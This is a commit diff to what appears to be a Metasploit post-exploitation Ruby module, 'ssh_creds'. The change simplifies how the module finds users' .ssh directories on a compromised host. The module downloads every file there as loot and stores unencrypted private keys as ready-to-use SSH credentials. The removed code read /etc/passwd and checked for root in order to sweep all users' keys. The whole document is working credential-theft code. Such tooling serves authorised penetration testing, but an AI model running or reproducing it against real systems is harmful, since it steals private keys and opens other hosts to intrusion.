Make ssh_creds store keys as creds

Also cuts some redundant code by using existing Post API methods.
unstable
James Lee 2012-06-19 14:24:32 -06:00
parent 08cbd87541
commit 967026a501
1 changed files with 38 additions and 191 deletions

View File

@ -13,11 +13,13 @@ require 'msf/core'
require 'rex'
require 'msf/core/post/file'
require 'msf/core/post/common'
require 'sshkey'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Common
include Msf::Post::Unix
def initialize(info={})
super( update_info(info,
@ -36,23 +38,9 @@ class Metasploit3 < Msf::Post
end
def run
print_status("Determining session platform and type...")
case session.platform
when /unix|linux|bsd/
@platform = :unix
paths = enum_users_unix
when /osx/
@platform = :osx
paths = enum_users_osx
else
# Make sure we are can identify the platform if not set
paths = platform_check
if paths.nil?
print_error("Platform is not Unix or Linux based. This one is: #{session.platform.to_s}")
return
end
end
print_status("Finding .ssh directories")
paths = enum_user_directories.map {|d| d + "/.ssh"}
paths.select! { |d| directory?(d) }
if paths.nil? or paths.empty?
print_error("No users found with a .ssh directory")
@ -62,188 +50,47 @@ class Metasploit3 < Msf::Post
download_loot(paths)
end
def enum_users_unix
id = whoami
if id.nil? or id.empty?
print_error("This session is not responding, perhaps the session is dead")
end
if got_root?
# Parse /etc/passwd to get all user directories and remove duplicates
userdirs = cmd_exec("cut -d: -f 6 /etc/passwd | sort | uniq").gsub(/\s/, "\n")
else
print_status("We do not have root privileges")
print_status("Checking #{id} account for .ssh directory")
ssh = session.shell_command("grep ^#{id}: /etc/passwd | cut -d: -f 6")
ssh.each_line do |sshfile|
sshfile.chomp!
stat = cmd_exec("ls -d #{sshfile}/.ssh")
next if stat =~ /No such file/i
print_status("Found .ssh directory for: #{id}")
print_status("stat = #{stat}")
return [stat]
end
return
end
# we got root check all user dirs
paths = []
userdirs.each_line do |dir|
dir.chomp!
next if dir == "." || dir == ".."
dir = dir + "/.ssh"
print_status("Checking for OpenSSH profile in: #{dir}")
stat = cmd_exec("ls #{dir}")
if stat =~ /No such file/i
print_error("OpenSSH profile not found in #{dir}")
next
else
paths << "#{dir}"
end
end
return paths
end
def enum_users_osx
id = whoami
if id.nil? or id.empty?
print_error("This session is not responding, perhaps the session is dead")
end
home = "/Users/"
if got_root?
userdirs = cmd_exec("ls #{home}").gsub(/\s/, "\n")
userdirs << "/var/root\n"
else
print_status("We do not have root privileges")
print_status("Checking #{id} account for .ssh directory")
ssh = cmd_exec("ls -d #{home}#{id}/.ssh")
ssh.each_line do |sshfile|
sshfile.chomp!
next if sshfile =~ /No such file/i
print_status("Found .ssh directory for: #{id}")
return [sshfile]
end
return
end
# we got root check all user dirs
paths = []
userdirs.each_line do |dir|
dir.chomp!
next if dir == "." || dir == ".."
dir = dir + "/.ssh"
print_status("Checking for OpenSSH profile in: #{dir}")
stat = cmd_exec("ls #{dir}")
if stat =~ /No such file/i
print_error("OpenSSH profile not found in #{dir}")
next
end
paths << "#{dir}"
end
return paths
end
def download_loot(paths)
loot = ""
print_status("Looting #{paths.count} directories")
paths.each do |path|
path.chomp!
if session.type == "meterpreter"
session.fs.dir.foreach(path) do |file|
print_good("Downloading #{file} file from: #{path}")
file = path + "\\" + file
fd = session.fs.file.new(file)
begin
until fd.eof?
loot << fd.read
end
rescue EOFError
ensure
fd.close
end
sep = session.fs.file.separator
files = session.fs.dir.entries(path)
else
# Guess, but it's probably right
sep = "/"
files = cmd_exec("ls -1 #{path}").split(/\r\n|\r|\n/)
end
file = file.split('\\').last
store_loot("ssh.#{file}", "text/plain", session, loot, "ssh_#{file}", "OpenSSH #{file} File")
end
end
if session.type != "meterpreter"
files = cmd_exec("ls #{path}").gsub(/\s/, "\n")
files.each_line do |file|
file.chomp!
print_good("Downloading #{path}/#{file}")
data = read_file("#{path}/#{file}")
file = file.split('/').last
store_loot("ssh.#{file}", "text/plain", session, data, "ssh_#{file}", "OpenSSH #{file} File")
files.each do |file|
print_good("Downloading #{path}#{sep}#{file} -> #{file}")
data = read_file("#{path}#{sep}#{file}")
file = file.split(sep).last
loot_path = store_loot("ssh.#{file}", "text/plain", session, data,
"ssh_#{file}", "OpenSSH #{file} File")
# If the key is encrypted, this will fail and it won't be stored as a
# cred. That's ok because we can't really use encrypted keys anyway.
key = SSHKey.new(data, :passphrase => "") rescue nil
if key and loot_path
print_status("Saving private key #{file} as cred")
cred_hash = {
:host => session.session_host,
:port => 22,
:sname => 'ssh',
:pass => loot_path,
:source_type => "exploit",
:type => 'ssh_key',
:proof => "KEY=#{key.fingerprint}",
:duplicate_ok => true,
:active => true
}
report_auth_info(cred_hash)
end
end
end
end
def got_root?
case @platform
when :windows
if session.sys.config.getuid =~ /SYSTEM/
return true
else
return false
end
else # unix, bsd, linux, osx
ret = whoami
if ret =~ /root/
return true
else
return false
end
end
end
def whoami
return cmd_exec("/usr/bin/whoami")
end
def platform_check
paths = nil
# uname might exist in a different location depending on the dsitro.
# We will try these locations
begin
platform = cmd_exec("/bin/uname")
rescue
platform = nil
end
# I guess we didn't get a uname, try again
if platform.nil?
begin
platform = cmd_exec("/usr/bin/uname")
rescue
platform = nil
end
end
# still nothing, abort!
return nil if platform.nil?
if platform =~ /Linux|HPUX|AIX|Sun|Solaris|BSD/
@platform = :unix
paths = enum_users_unix
elsif platform =~ /Darwin/
@platform = :osx
paths = enum_users_osx
else
print_error("Unsupported platform #{session.platform}")
end
return paths
end
end